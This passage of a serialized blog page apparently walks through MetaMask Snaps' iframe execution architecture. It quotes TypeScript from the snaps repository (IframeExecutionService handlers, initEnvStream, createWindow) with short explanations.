'ExecutionService'",{"type":24,"tag":158,"props":37017,"children":37018},{"style":188},[37019],{"type":29,"value":235},{"type":24,"tag":158,"props":37021,"children":37022},{"class":160,"line":626},[37023],{"type":24,"tag":158,"props":37024,"children":37025},{"style":188},[37026],{"type":29,"value":37027}," }),\n",{"type":24,"tag":158,"props":37029,"children":37030},{"class":160,"line":668},[37031,37036,37040,37044,37049,37053,37058,37062,37066],{"type":24,"tag":158,"props":37032,"children":37033},{"style":177},[37034],{"type":29,"value":37035}," setupSnapProvider:",{"type":24,"tag":158,"props":37037,"children":37038},{"style":165},[37039],{"type":29,"value":36980},{"type":24,"tag":158,"props":37041,"children":37042},{"style":188},[37043],{"type":29,"value":347},{"type":24,"tag":158,"props":37045,"children":37046},{"style":177},[37047],{"type":29,"value":37048},"setupSnapProvider",{"type":24,"tag":158,"props":37050,"children":37051},{"style":188},[37052],{"type":29,"value":347},{"type":24,"tag":158,"props":37054,"children":37055},{"style":496},[37056],{"type":29,"value":37057},"bind",{"type":24,"tag":158,"props":37059,"children":37060},{"style":188},[37061],{"type":29,"value":504},{"type":24,"tag":158,"props":37063,"children":37064},{"style":165},[37065],{"type":29,"value":18932},{"type":24,"tag":158,"props":37067,"children":37068},{"style":188},[37069],{"type":29,"value":8382},{"type":24,"tag":158,"props":37071,"children":37072},{"class":160,"line":676},[37073],{"type":24,"tag":158,"props":37074,"children":37075},{"style":188},[37076],{"type":29,"value":17814},{"type":24,"tag":158,"props":37078,"children":37079},{"class":160,"line":684},[37080],{"type":24,"tag":158,"props":37081,"children":37082},{"emptyLinePlaceholder":16},[37083],{"type":29,"value":481},{"type":24,"tag":158,"props":37085,"children":37086},{"class":160,"line":700},[37087],{"type":24,"tag":158,"props":37088,"children":37089},{"style":2588},[37090],{"type":29,"value":37091},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":24,"tag":158,"props":37093,"children":37094},{"class":160,"line":785},[37095,37099,37103,37107,37111,37115],{"type":24,"tag":158,"props":37096,"children":37097},{"style":177},[37098],{"type":29,"value":36945},{"type":24,"tag":158,"props":37100,"children":37101},{"style":188},[37102],{"type":29,"value":347},{"type":24,"tag":158,"props":37104,"children":37105},{"style":177},[37106],{"type":29,"value":36954},{"type":24,"tag":158,"props":37108,"children":37109},{"style":188},[37110],{"type":29,"value":347},{"type":24,"tag":158,"props":37112,"children":37113},{"style":177},[37114],{"type":29,"value":36963},{"type":24,"tag":158,"props":37116,"children":37117},{"style":222},[37118],{"type":29,"value":37119}," =\n",{"type":24,"tag":158,"props":37121,"children":37122},{"class":160,"line":1447},[37123,37128],{"type":24,"tag":158,"props":37124,"children":37125},{"style":1108},[37126],{"type":29,"value":37127}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":24,"tag":158,"props":37129,"children":37130},{"style":188},[37131],{"type":29,"value":473},{"type":24,"tag":158,"props":37133,"children":37134},{"class":160,"line":1509},[37135],{"type":24,"tag":158,"props":37136,"children":37137},{"style":2588},[37138],{"type":29,"value":36899},{"type":24,"tag":25,"props":37140,"children":37141},{},[37142,37144,37150,37152,37158,37160,37165],{"type":29,"value":37143},"This code is defining the ",{"type":24,"tag":154,"props":37145,"children":37147},{"className":37146},[],[37148],{"type":29,"value":37149},"snapExecutionServiceArgs",{"type":29,"value":37151}," object, which contains information required for the ",{"type":24,"tag":154,"props":37153,"children":37155},{"className":37154},[],[37156],{"type":29,"value":37157},"IframeExecutionService",{"type":29,"value":37159}," to execute snaps. The ",{"type":24,"tag":154,"props":37161,"children":37163},{"className":37162},[],[37164],{"type":29,"value":36963},{"type":29,"value":37166}," points to the location where the execution environment resides.",{"type":24,"tag":20134,"props":37168,"children":37170},{"id":37169},"executing-snaps-iframeexecutionservice-in-action",[37171],{"type":29,"value":37172},"Executing Snaps: IframeExecutionService in Action",{"type":24,"tag":25,"props":37174,"children":37175},{},[37176,37178,37183,37185,37191],{"type":29,"value":37177},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":24,"tag":154,"props":37179,"children":37181},{"className":37180},[],[37182],{"type":29,"value":37157},{"type":29,"value":37184}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":24,"tag":101,"props":37186,"children":37189},{"href":37187,"rel":37188},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[105],[37190],{"type":29,"value":154},{"type":29,"value":225},{"type":24,"tag":147,"props":37193,"children":37197},{"className":37194,"code":37195,"language":37196,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[37198],{"type":24,"tag":154,"props":37199,"children":37200},{"__ignoreMap":7},[37201,37209,37238,37268,37321,37358,37365,37372,37380,37387,37394,37402,37437,37445,37501,37563,37571],{"type":24,"tag":158,"props":37202,"children":37203},{"class":160,"line":161},[37204],{"type":24,"tag":158,"props":37205,"children":37206},{"style":2588},[37207],{"type":29,"value":37208},"// Register message handlers for snap interactions\n",{"type":24,"tag":158,"props":37210,"children":37211},{"class":160,"line":213},[37212,37216,37220,37225,37229,37234],{"type":24,"tag":158,"props":37213,"children":37214},{"style":165},[37215],{"type":29,"value":18932},{"type":24,"tag":158,"props":37217,"children":37218},{"style":188},[37219],{"type":29,"value":347},{"type":24,"tag":158,"props":37221,"children":37222},{"style":177},[37223],{"type":29,"value":37224},"#messenger",{"type":24,"tag":158,"props":37226,"children":37227},{"style":188},[37228],{"type":29,"value":347},{"type":24,"tag":158,"props":37230,"children":37231},{"style":496},[37232],{"type":29,"value":37233},"registerActionHandler",{"type":24,"tag":158,"props":37235,"children":37236},{"style":188},[37237],{"type":29,"value":2156},{"type":24,"tag":158,"props":37239,"children":37240},{"class":160,"line":238},[37241,37246,37250,37255,37259,37264],{"type":24,"tag":158,"props":37242,"children":37243},{"style":1108},[37244],{"type":29,"value":37245}," `",{"type":24,"tag":158,"props":37247,"children":37248},{"style":165},[37249],{"type":29,"value":35371},{"type":24,"tag":158,"props":37251,"children":37252},{"style":177},[37253],{"type":29,"value":37254},"controllerName",{"type":24,"tag":158,"props":37256,"children":37257},{"style":165},[37258],{"type":29,"value":35403},{"type":24,"tag":158,"props":37260,"children":37261},{"style":1108},[37262],{"type":29,"value":37263},":handleRpcRequest`",{"type":24,"tag":158,"props":37265,"children":37266},{"style":188},[37267],{"type":29,"value":235},{"type":24,"tag":158,"props":37269,"children":37270},{"class":160,"line":259},[37271,37276,37280,37285,37289,37294,37298,37303,37307,37312,37316],{"type":24,"tag":158,"props":37272,"children":37273},{"style":165},[37274],{"type":29,"value":37275}," async",{"type":24,"tag":158,"props":37277,"children":37278},{"style":188},[37279],{"type":29,"value":2262},{"type":24,"tag":158,"props":37281,"children":37282},{"style":177},[37283],{"type":29,"value":37284},"snapId",{"type":24,"tag":158,"props":37286,"children":37287},{"style":222},[37288],{"type":29,"value":225},{"type":24,"tag":158,"props":37290,"children":37291},{"style":171},[37292],{"type":29,"value":37293}," string",{"type":24,"tag":158,"props":37295,"children":37296},{"style":188},[37297],{"type":29,"value":191},{"type":24,"tag":158,"props":37299,"children":37300},{"style":177},[37301],{"type":29,"value":37302},"options",{"type":24,"tag":158,"props":37304,"children":37305},{"style":222},[37306],{"type":29,"value":225},{"type":24,"tag":158,"props":37308,"children":37309},{"style":171},[37310],{"type":29,"value":37311}," SnapRpcHookArgs",{"type":24,"tag":158,"props":37313,"children":37314},{"style":188},[37315],{"type":29,"value":723},{"type":24,"tag":158,"props":37317,"children":37318},{"style":165},[37319],{"type":29,"value":37320},"=>\n",{"type":24,"tag":158,"props":37322,"children":37323},{"class":160,"line":280},[37324,37329,37333,37338,37342,37346,37350,37354],{"type":24,"tag":158,"props":37325,"children":37326},{"style":165},[37327],{"type":29,"value":37328}," this",{"type":24,"tag":158,"props":37330,"children":37331},{"style":188},[37332],{"type":29,"value":347},{"type":24,"tag":158,"props":37334,"children":37335},{"style":496},[37336],{"type":29,"value":37337},"handleRpcRequest",{"type":24,"tag":158,"props":37339,"children":37340},{"style":188},[37341],{"type":29,"value":504},{"type":24,"tag":158,"props":37343,"children":37344},{"style":177},[37345],{"type":29,"value":37284},{"type":24,"tag":158,"props":37347,"children":37348},{"style":188},[37349],{"type":29,"value":191},{"type":24,"tag":158,"props":37351,"children":37352},{"style":177},[37353],{"type":29,"value":37302},{"type":24,"tag":158,"props":37355,"children":37356},{"style":188},[37357],{"type":29,"value":8382},{"type":24,"tag":158,"props":37359,"children":37360},{"class":160,"line":301},[37361],{"type":24,"tag":158,"props":37362,"children":37363},{"style":188},[37364],{"type":29,"value":1071},{"type":24,"tag":158,"props":37366,"children":37367},{"class":160,"line":626},[37368],{"type":24,"tag":158,"props":37369,"children":37370},{"emptyLinePlaceholder":16},[37371],{"type":29,"value":481},{"type":24,"tag":158,"props":37373,"children":37374},{"class":160,"line":668},[37375],{"type":24,"tag":158,"props":37376,"children":37377},{"style":2588},[37378],{"type":29,"value":37379},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":24,"tag":158,"props":37381,"children":37382},{"class":160,"line":676},[37383],{"type":24,"tag":158,"props":37384,"children":37385},{"style":2588},[37386],{"type":29,"value":36899},{"type":24,"tag":158,"props":37388,"children":37389},{"class":160,"line":684},[37390],{"type":24,"tag":158,"props":37391,"children":37392},{"emptyLinePlaceholder":16},[37393],{"type":29,"value":481},{"type":24,"tag":158,"props":37395,"children":37396},{"class":160,"line":700},[37397],{"type":24,"tag":158,"props":37398,"children":37399},{"style":2588},[37400],{"type":29,"value":37401},"// Execute a snap\n",{"type":24,"tag":158,"props":37403,"children":37404},{"class":160,"line":785},[37405,37410,37415,37419,37424,37428,37433],{"type":24,"tag":158,"props":37406,"children":37407},{"style":177},[37408],{"type":29,"value":37409},"async",{"type":24,"tag":158,"props":37411,"children":37412},{"style":496},[37413],{"type":29,"value":37414}," executeSnap",{"type":24,"tag":158,"props":37416,"children":37417},{"style":188},[37418],{"type":29,"value":504},{"type":24,"tag":158,"props":37420,"children":37421},{"style":177},[37422],{"type":29,"value":37423},"snapData",{"type":24,"tag":158,"props":37425,"children":37426},{"style":188},[37427],{"type":29,"value":16566},{"type":24,"tag":158,"props":37429,"children":37430},{"style":177},[37431],{"type":29,"value":37432},"SnapExecutionData",{"type":24,"tag":158,"props":37434,"children":37435},{"style":188},[37436],{"type":29,"value":16038},{"type":24,"tag":158,"props":37438,"children":37439},{"class":160,"line":1447},[37440],{"type":24,"tag":158,"props":37441,"children":37442},{"style":2588},[37443],{"type":29,"value":37444}," // Initialize job, streams, and environment\n",{"type":24,"tag":158,"props":37446,"children":37447},{"class":160,"line":1509},[37448,37453,37457,37462,37467,37471,37476,37480,37484,37489,37493,37497],{"type":24,"tag":158,"props":37449,"children":37450},{"style":165},[37451],{"type":29,"value":37452}," const",{"type":24,"tag":158,"props":37454,"children":37455},{"style":188},[37456],{"type":29,"value":372},{"type":24,"tag":158,"props":37458,"children":37459},{"style":177},[37460],{"type":29,"value":37461},"jobId",{"type":24,"tag":158,"props":37463,"children":37464},{"style":188},[37465],{"type":29,"value":37466}," } ",{"type":24,"tag":158,"props":37468,"children":37469},{"style":222},[37470],{"type":29,"value":1285},{"type":24,"tag":158,"props":37472,"children":37473},{"style":1914},[37474],{"type":29,"value":37475}," await",{"type":24,"tag":158,"props":37477,"children":37478},{"style":165},[37479],{"type":29,"value":36980},{"type":24,"tag":158,"props":37481,"children":37482},{"style":188},[37483],{"type":29,"value":347},{"type":24,"tag":158,"props":37485,"children":37486},{"style":496},[37487],{"type":29,"value":37488},"initJob",{"type":24,"tag":158,"props":37490,"children":37491},{"style":188},[37492],{"type":29,"value":504},{"type":24,"tag":158,"props":37494,"children":37495},{"style":177},[37496],{"type":29,"value":37423},{"type":24,"tag":158,"props":37498,"children":37499},{"style":188},[37500],{"type":29,"value":1071},{"type":24,"tag":158,"props":37502,"children":37503},{"class":160,"line":1527},[37504,37508,37512,37517,37521,37526,37530,37534,37538,37542,37546,37551,37555,37559],{"type":24,"tag":158,"props":37505,"children":37506},{"style":165},[37507],{"type":29,"value":37452},{"type":24,"tag":158,"props":37509,"children":37510},{"style":188},[37511],{"type":29,"value":372},{"type":24,"tag":158,"props":37513,"children":37514},{"style":177},[37515],{"type":29,"value":37516},"worker",{"type":24,"tag":158,"props":37518,"children":37519},{"style":188},[37520],{"type":29,"value":191},{"type":24,"tag":158,"props":37522,"children":37523},{"style":177},[37524],{"type":29,"value":37525},"stream",{"type":24,"tag":158,"props":37527,"children":37528},{"style":188},[37529],{"type":29,"value":37466},{"type":24,"tag":158,"props":37531,"children":37532},{"style":222},[37533],{"type":29,"value":1285},{"type":24,"tag":158,"props":37535,"children":37536},{"style":1914},[37537],{"type":29,"value":37475},{"type":24,"tag":158,"props":37539,"children":37540},{"style":165},[37541],{"type":29,"value":36980},{"type":24,"tag":158,"props":37543,"children":37544},{"style":188},[37545],{"type":29,"value":347},{"type":24,"tag":158,"props":37547,"children":37548},{"style":496},[37549],{"type":29,"value":37550},"initEnvStream",{"type":24,"tag":158,"props":37552,"children":37553},{"style":188},[37554],{"type":29,"value":504},{"type":24,"tag":158,"props":37556,"children":37557},{"style":177},[37558],{"type":29,"value":37461},{"type":24,"tag":158,"props":37560,"children":37561},{"style":188},[37562],{"type":29,"value":1071},{"type":24,"tag":158,"props":37564,"children":37565},{"class":160,"line":1545},[37566],{"type":24,"tag":158,"props":37567,"children":37568},{"style":2588},[37569],{"type":29,"value":37570}," // ...\n",{"type":24,"tag":158,"props":37572,"children":37573},{"class":160,"line":1618},[37574],{"type":24,"tag":158,"props":37575,"children":37576},{"style":188},[37577],{"type":29,"value":307},{"type":24,"tag":25,"props":37579,"children":37580},{},[37581,37582,37587,37589,37595],{"type":29,"value":17850},{"type":24,"tag":154,"props":37583,"children":37585},{"className":37584},[],[37586],{"type":29,"value":37157},{"type":29,"value":37588}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":24,"tag":154,"props":37590,"children":37592},{"className":37591},[],[37593],{"type":29,"value":37594},"${controllerName}:executeSnap",{"type":29,"value":37596}," handler triggers the snap execution process.",{"type":24,"tag":20134,"props":37598,"children":37600},{"id":37599},"step-by-step-execution-from-initialization-to-iframe-creation",[37601,37603],{"type":29,"value":37602},"Step-by-Step Execution: From Initialization to iFrame ",{"type":24,"tag":101,"props":37604,"children":37607},{"href":37605,"rel":37606},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[105],[37608],{"type":29,"value":37609},"creation",{"type":24,"tag":147,"props":37611,"children":37613},{"className":37194,"code":37612,"language":37196,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[37614],{"type":24,"tag":154,"props":37615,"children":37616},{"__ignoreMap":7},[37617,37666,37687,37708,37716,37780,37787,37815,37832,37849,37866,37883,37890,37897,37921],{"type":24,"tag":158,"props":37618,"children":37619},{"class":160,"line":161},[37620,37625,37630,37635,37639,37643,37647,37651,37656,37661],{"type":24,"tag":158,"props":37621,"children":37622},{"style":177},[37623],{"type":29,"value":37624},"protected",{"type":24,"tag":158,"props":37626,"children":37627},{"style":177},[37628],{"type":29,"value":37629}," async",{"type":24,"tag":158,"props":37631,"children":37632},{"style":496},[37633],{"type":29,"value":37634}," initEnvStream",{"type":24,"tag":158,"props":37636,"children":37637},{"style":188},[37638],{"type":29,"value":504},{"type":24,"tag":158,"props":37640,"children":37641},{"style":177},[37642],{"type":29,"value":37461},{"type":24,"tag":158,"props":37644,"children":37645},{"style":188},[37646],{"type":29,"value":16566},{"type":24,"tag":158,"props":37648,"children":37649},{"style":177},[37650],{"type":29,"value":30926},{"type":24,"tag":158,"props":37652,"children":37653},{"style":188},[37654],{"type":29,"value":37655},"): ",{"type":24,"tag":158,"props":37657,"children":37658},{"style":171},[37659],{"type":29,"value":37660},"Promise",{"type":24,"tag":158,"props":37662,"children":37663},{"style":188},[37664],{"type":29,"value":37665},"\u003C{\n",{"type":24,"tag":158,"props":37667,"children":37668},{"class":160,"line":213},[37669,37674,37678,37683],{"type":24,"tag":158,"props":37670,"children":37671},{"style":177},[37672],{"type":29,"value":37673}," worker",{"type":24,"tag":158,"props":37675,"children":37676},{"style":222},[37677],{"type":29,"value":225},{"type":24,"tag":158,"props":37679,"children":37680},{"style":171},[37681],{"type":29,"value":37682}," Window",{"type":24,"tag":158,"props":37684,"children":37685},{"style":188},[37686],{"type":29,"value":473},{"type":24,"tag":158,"props":37688,"children":37689},{"class":160,"line":238},[37690,37695,37699,37704],{"type":24,"tag":158,"props":37691,"children":37692},{"style":177},[37693],{"type":29,"value":37694}," stream",{"type":24,"tag":158,"props":37696,"children":37697},{"style":222},[37698],{"type":29,"value":225},{"type":24,"tag":158,"props":37700,"children":37701},{"style":171},[37702],{"type":29,"value":37703}," BasePostMessageStream",{"type":24,"tag":158,"props":37705,"children":37706},{"style":188},[37707],{"type":29,"value":473},{"type":24,"tag":158,"props":37709,"children":37710},{"class":160,"line":259},[37711],{"type":24,"tag":158,"props":37712,"children":37713},{"style":188},[37714],{"type":29,"value":37715}," }> {\n",{"type":24,"tag":158,"props":37717,"children":37718},{"class":160,"line":280},[37719,37724,37729,37733,37737,37742,37746,37750,37754,37759,37763,37768,37772,37776],{"type":24,"tag":158,"props":37720,"children":37721},{"style":188},[37722],{"type":29,"value":37723}," const ",{"type":24,"tag":158,"props":37725,"children":37726},{"style":177},[37727],{"type":29,"value":37728},"iframeWindow",{"type":24,"tag":158,"props":37730,"children":37731},{"style":222},[37732],{"type":29,"value":462},{"type":24,"tag":158,"props":37734,"children":37735},{"style":1914},[37736],{"type":29,"value":37475},{"type":24,"tag":158,"props":37738,"children":37739},{"style":496},[37740],{"type":29,"value":37741}," createWindow",{"type":24,"tag":158,"props":37743,"children":37744},{"style":188},[37745],{"type":29,"value":504},{"type":24,"tag":158,"props":37747,"children":37748},{"style":165},[37749],{"type":29,"value":18932},{"type":24,"tag":158,"props":37751,"children":37752},{"style":188},[37753],{"type":29,"value":347},{"type":24,"tag":158,"props":37755,"children":37756},{"style":177},[37757],{"type":29,"value":37758},"iframeUrl",{"type":24,"tag":158,"props":37760,"children":37761},{"style":188},[37762],{"type":29,"value":347},{"type":24,"tag":158,"props":37764,"children":37765},{"style":496},[37766],{"type":29,"value":37767},"toString",{"type":24,"tag":158,"props":37769,"children":37770},{"style":188},[37771],{"type":29,"value":19615},{"type":24,"tag":158,"props":37773,"children":37774},{"style":177},[37775],{"type":29,"value":37461},{"type":24,"tag":158,"props":37777,"children":37778},{"style":188},[37779],{"type":29,"value":1071},{"type":24,"tag":158,"props":37781,"children":37782},{"class":160,"line":301},[37783],{"type":24,"tag":158,"props":37784,"children":37785},{"emptyLinePlaceholder":16},[37786],{"type":29,"value":481},{"type":24,"tag":158,"props":37788,"children":37789},{"class":160,"line":626},[37790,37794,37798,37802,37806,37811],{"type":24,"tag":158,"props":37791,"children":37792},{"style":188},[37793],{"type":29,"value":37723},{"type":24,"tag":158,"props":37795,"children":37796},{"style":177},[37797],{"type":29,"value":37525},{"type":24,"tag":158,"props":37799,"children":37800},{"style":222},[37801],{"type":29,"value":462},{"type":24,"tag":158,"props":37803,"children":37804},{"style":165},[37805],{"type":29,"value":33194},{"type":24,"tag":158,"props":37807,"children":37808},{"style":496},[37809],{"type":29,"value":37810}," WindowPostMessageStream",{"type":24,"tag":158,"props":37812,"children":37813},{"style":188},[37814],{"type":29,"value":16375},{"type":24,"tag":158,"props":37816,"children":37817},{"class":160,"line":668},[37818,37823,37828],{"type":24,"tag":158,"props":37819,"children":37820},{"style":177},[37821],{"type":29,"value":37822}," name:",{"type":24,"tag":158,"props":37824,"children":37825},{"style":1108},[37826],{"type":29,"value":37827}," 'parent'",{"type":24,"tag":158,"props":37829,"children":37830},{"style":188},[37831],{"type":29,"value":235},{"type":24,"tag":158,"props":37833,"children":37834},{"class":160,"line":676},[37835,37840,37845],{"type":24,"tag":158,"props":37836,"children":37837},{"style":177},[37838],{"type":29,"value":37839}," target:",{"type":24,"tag":158,"props":37841,"children":37842},{"style":1108},[37843],{"type":29,"value":37844}," 'child'",{"type":24,"tag":158,"props":37846,"children":37847},{"style":188},[37848],{"type":29,"value":235},{"type":24,"tag":158,"props":37850,"children":37851},{"class":160,"line":684},[37852,37857,37862],{"type":24,"tag":158,"props":37853,"children":37854},{"style":177},[37855],{"type":29,"value":37856}," targetWindow:",{"type":24,"tag":158,"props":37858,"children":37859},{"style":177},[37860],{"type":29,"value":37861}," iframeWindow",{"type":24,"tag":158,"props":37863,"children":37864},{"style":188},[37865],{"type":29,"value":235},{"type":24,"tag":158,"props":37867,"children":37868},{"class":160,"line":700},[37869,37874,37879],{"type":24,"tag":158,"props":37870,"children":37871},{"style":177},[37872],{"type":29,"value":37873}," targetOrigin:",{"type":24,"tag":158,"props":37875,"children":37876},{"style":1108},[37877],{"type":29,"value":37878}," '*'",{"type":24,"tag":158,"props":37880,"children":37881},{"style":188},[37882],{"type":29,"value":235},{"type":24,"tag":158,"props":37884,"children":37885},{"class":160,"line":785},[37886],{"type":24,"tag":158,"props":37887,"children":37888},{"style":188},[37889],{"type":29,"value":33518},{"type":24,"tag":158,"props":37891,"children":37892},{"class":160,"line":1447},[37893],{"type":24,"tag":158,"props":37894,"children":37895},{"emptyLinePlaceholder":16},[37896],{"type":29,"value":481},{"type":24,"tag":158,"props":37898,"children":37899},{"class":160,"line":1509},[37900,37905,37909,37913,37917],{"type":24,"tag":158,"props":37901,"children":37902},{"style":188},[37903],{"type":29,"value":37904}," return { worker: ",{"type":24,"tag":158,"props":37906,"children":37907},{"style":177},[37908],{"type":29,"value":37728},{"type":24,"tag":158,"props":37910,"children":37911},{"style":188},[37912],{"type":29,"value":191},{"type":24,"tag":158,"props":37914,"children":37915},{"style":177},[37916],{"type":29,"value":37525},{"type":24,"tag":158,"props":37918,"children":37919},{"style":188},[37920],{"type":29,"value":19539},{"type":24,"tag":158,"props":37922,"children":37923},{"class":160,"line":1527},[37924],{"type":24,"tag":158,"props":37925,"children":37926},{"style":188},[37927],{"type":29,"value":4366},{"type":24,"tag":25,"props":37929,"children":37930},{},[37931,37933,37939,37941,37948],{"type":29,"value":37932},"Here the iframe is created via ",{"type":24,"tag":154,"props":37934,"children":37936},{"className":37935},[],[37937],{"type":29,"value":37938},"createWindow",{"type":29,"value":37940},", which is defined in snaps-utils ",{"type":24,"tag":101,"props":37942,"children":37945},{"href":37943,"rel":37944},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[105],[37946],{"type":29,"value":37947},"package",{"type":29,"value":225},{"type":24,"tag":147,"props":37950,"children":37952},{"className":37194,"code":37951,"language":37196,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[37953],{"type":24,"tag":154,"props":37954,"children":37955},{"__ignoreMap":7},[37956,37999,38037,38074,38081,38101,38139,38146,38183],{"type":24,"tag":158,"props":37957,"children":37958},{"class":160,"line":161},[37959,37963,37968,37972,37977,37981,37986,37990,37995],{"type":24,"tag":158,"props":37960,"children":37961},{"style":165},[37962],{"type":29,"value":443},{"type":24,"tag":158,"props":37964,"children":37965},{"style":177},[37966],{"type":29,"value":37967}," iframe",{"type":24,"tag":158,"props":37969,"children":37970},{"style":222},[37971],{"type":29,"value":462},{"type":24,"tag":158,"props":37973,"children":37974},{"style":177},[37975],{"type":29,"value":37976}," document",{"type":24,"tag":158,"props":37978,"children":37979},{"style":188},[37980],{"type":29,"value":347},{"type":24,"tag":158,"props":37982,"children":37983},{"style":496},[37984],{"type":29,"value":37985},"createElement",{"type":24,"tag":158,"props":37987,"children":37988},{"style":188},[37989],{"type":29,"value":504},{"type":24,"tag":158,"props":37991,"children":37992},{"style":1108},[37993],{"type":29,"value":37994},"'iframe'",{"type":24,"tag":158,"props":37996,"children":37997},{"style":188},[37998],{"type":29,"value":1071},{"type":24,"tag":158,"props":38000,"children":38001},{"class":160,"line":213},[38002,38007,38011,38016,38020,38025,38029,38033],{"type":24,"tag":158,"props":38003,"children":38004},{"style":177},[38005],{"type":29,"value":38006}," iframe",{"type":24,"tag":158,"props":38008,"children":38009},{"style":188},[38010],{"type":29,"value":347},{"type":24,"tag":158,"props":38012,"children":38013},{"style":496},[38014],{"type":29,"value":38015},"setAttribute",{"type":24,"tag":158,"props":38017,"children":38018},{"style":188},[38019],{"type":29,"value":504},{"type":24,"tag":158,"props":38021,"children":38022},{"style":1108},[38023],{"type":29,"value":38024},"'id'",{"type":24,"tag":158,"props":38026,"children":38027},{"style":188},[38028],{"type":29,"value":191},{"type":24,"tag":158,"props":38030,"children":38031},{"style":177},[38032],{"type":29,"value":5145},{"type":24,"tag":158,"props":38034,"children":38035},{"style":188},[38036],{"type":29,"value":1071},{"type":24,"tag":158,"props":38038,"children":38039},{"class":160,"line":238},[38040,38044,38048,38052,38056,38061,38065,38070],{"type":24,"tag":158,"props":38041,"children":38042},{"style":177},[38043],{"type":29,"value":38006},{"type":24,"tag":158,"props":38045,"children":38046},{"style":188},[38047],{"type":29,"value":347},{"type":24,"tag":158,"props":38049,"children":38050},{"style":496},[38051],{"type":29,"value":38015},{"type":24,"tag":158,"props":38053,"children":38054},{"style":188},[38055],{"type":29,"value":504},{"type":24,"tag":158,"props":38057,"children":38058},{"style":1108},[38059],{"type":29,"value":38060},"'data-testid'",{"type":24,"tag":158,"props":38062,"children":38063},{"style":188},[38064],{"type":29,"value":191},{"type":24,"tag":158,"props":38066,"children":38067},{"style":1108},[38068],{"type":29,"value":38069},"'snaps-iframe'",{"type":24,"tag":158,"props":38071,"children":38072},{"style":188},[38073],{"type":29,"value":1071},{"type":24,"tag":158,"props":38075,"children":38076},{"class":160,"line":259},[38077],{"type":24,"tag":158,"props":38078,"children":38079},{"emptyLinePlaceholder":16},[38080],{"type":29,"value":481},{"type":24,"tag":158,"props":38082,"children":38083},{"class":160,"line":280},[38084,38088,38092,38097],{"type":24,"tag":158,"props":38085,"children":38086},{"style":1914},[38087],{"type":29,"value":3160},{"type":24,"tag":158,"props":38089,"children":38090},{"style":188},[38091],{"type":29,"value":2262},{"type":24,"tag":158,"props":38093,"children":38094},{"style":177},[38095],{"type":29,"value":38096},"sandbox",{"type":24,"tag":158,"props":38098,"children":38099},{"style":188},[38100],{"type":29,"value":16038},{"type":24,"tag":158,"props":38102,"children":38103},{"class":160,"line":301},[38104,38109,38113,38117,38121,38126,38130,38135],{"type":24,"tag":158,"props":38105,"children":38106},{"style":177},[38107],{"type":29,"value":38108}," iframe",{"type":24,"tag":158,"props":38110,"children":38111},{"style":188},[38112],{"type":29,"value":347},{"type":24,"tag":158,"props":38114,"children":38115},{"style":496},[38116],{"type":29,"value":38015},{"type":24,"tag":158,"props":38118,"children":38119},{"style":188},[38120],{"type":29,"value":504},{"type":24,"tag":158,"props":38122,"children":38123},{"style":1108},[38124],{"type":29,"value":38125},"'sandbox'",{"type":24,"tag":158,"props":38127,"children":38128},{"style":188},[38129],{"type":29,"value":191},{"type":24,"tag":158,"props":38131,"children":38132},{"style":1108},[38133],{"type":29,"value":38134},"'allow-scripts'",{"type":24,"tag":158,"props":38136,"children":38137},{"style":188},[38138],{"type":29,"value":1071},{"type":24,"tag":158,"props":38140,"children":38141},{"class":160,"line":626},[38142],{"type":24,"tag":158,"props":38143,"children":38144},{"style":188},[38145],{"type":29,"value":3967},{"type":24,"tag":158,"props":38147,"children":38148},{"class":160,"line":668},[38149,38153,38157,38161,38165,38170,38174,38179],{"type":24,"tag":158,"props":38150,"children":38151},{"style":177},[38152],{"type":29,"value":38006},{"type":24,"tag":158,"props":38154,"children":38155},{"style":188},[38156],{"type":29,"value":347},{"type":24,"tag":158,"props":38158,"children":38159},{"style":496},[38160],{"type":29,"value":38015},{"type":24,"tag":158,"props":38162,"children":38163},{"style":188},[38164],{"type":29,"value":504},{"type":24,"tag":158,"props":38166,"children":38167},{"style":1108},[38168],{"type":29,"value":38169},"'src'",{"type":24,"tag":158,"props":38171,"children":38172},{"style":188},[38173],{"type":29,"value":191},{"type":24,"tag":158,"props":38175,"children":38176},{"style":177},[38177],{"type":29,"value":38178},"uri",{"type":24,"tag":158,"props":38180,"children":38181},{"style":188},[38182],{"type":29,"value":1071},{"type":24,"tag":158,"props":38184,"children":38185},{"class":160,"line":676},[38186,38190,38194,38198,38202,38207,38211,38216],{"type":24,"tag":158,"props":38187,"children":38188},{"style":177},[38189],{"type":29,"value":35936},{"type":24,"tag":158,"props":38191,"children":38192},{"style":188},[38193],{"type":29,"value":347},{"type":24,"tag":158,"props":38195,"children":38196},{"style":177},[38197],{"type":29,"value":33661},{"